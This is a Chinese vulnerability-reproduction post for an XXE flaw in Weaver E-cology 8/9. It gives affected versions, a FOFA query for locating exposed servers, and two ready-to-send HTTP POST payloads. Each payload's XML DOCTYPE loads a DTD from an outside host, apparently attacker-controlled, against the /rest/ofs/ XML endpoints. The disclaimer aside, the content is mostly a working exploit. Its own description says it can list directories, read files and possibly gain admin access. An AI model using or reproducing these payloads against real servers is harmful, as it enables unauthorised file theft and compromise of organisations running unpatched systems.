泛微E-cology8 多接口XXE漏洞复现 [附POC]

泛微E-cology8 多接口XXE漏洞复现 [附POC]

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

泛微e-cology某处功能点最初针对用户输入的过滤不太完善，导致在处理用户输入时可触发XXE。后续修复规则依旧可被绕过，本次漏洞即为之前修复规则的绕过。攻击者可利用该漏洞列目录、读取文件，甚至可能获取应用系统的管理员权限。

0x03 影响版本

泛微 EC 9.x 且补丁版本 < 10.58.2
泛微 EC 8.x 且补丁版本 < 10.58.2

0x04 漏洞环境

FOFA语法：app=“泛微-OA（e-cology）”

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC 1（POST）

POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
Content-Length: 131

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://zuwyyvjnql.yutu.eu.org">
<M><syscode>&send;</syscode></M>

POC 2（POST）

POST /rest/ofs/ReceiveCCRequestByXml HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
Content-Length: 131

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://tzcnxwantm.dgrh3.cn">
<M><syscode>&send;</syscode></M>

3.复现

注：两个poc的区别在于漏洞路径不一样
POC1：
POC2：